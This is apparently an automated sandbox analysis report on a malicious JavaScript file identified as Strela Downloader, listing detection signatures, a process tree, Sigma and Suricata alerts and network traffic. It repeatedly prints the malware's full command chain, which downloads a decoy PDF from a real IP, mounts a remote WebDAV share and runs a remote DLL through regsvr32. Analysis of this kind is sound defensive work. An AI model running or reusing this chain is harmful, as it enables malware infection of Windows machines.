Edit tour

Windows Analysis Report
3129912127106722813.js

Overview

General Information

Sample name:	3129912127106722813.js
Analysis ID:	1589000
MD5:	ff9cc6a9e788ba8fac0ef5395971e173
SHA1:	79aa14aeb2fc1ea61cfb4ac64367c9818764a285
SHA256:	1880f2a6a098d963901bc39225d92b7726111377dcc4a9e58ae2ee8bdb71674d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7536 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7588 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7640 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5312 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1704,i,4832962605628790638,17598048505237952918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7852 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7940 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8120 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7536	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ProcessId: 7536, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7940, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ProcessId: 7536, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7852, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7940, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8120, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7852, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7940, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 7588, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:14:36.168012+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:14:38.710988+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:14:36.168012+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3129912127106722813.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3129912127106722813.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3129912127106722813.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:14:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

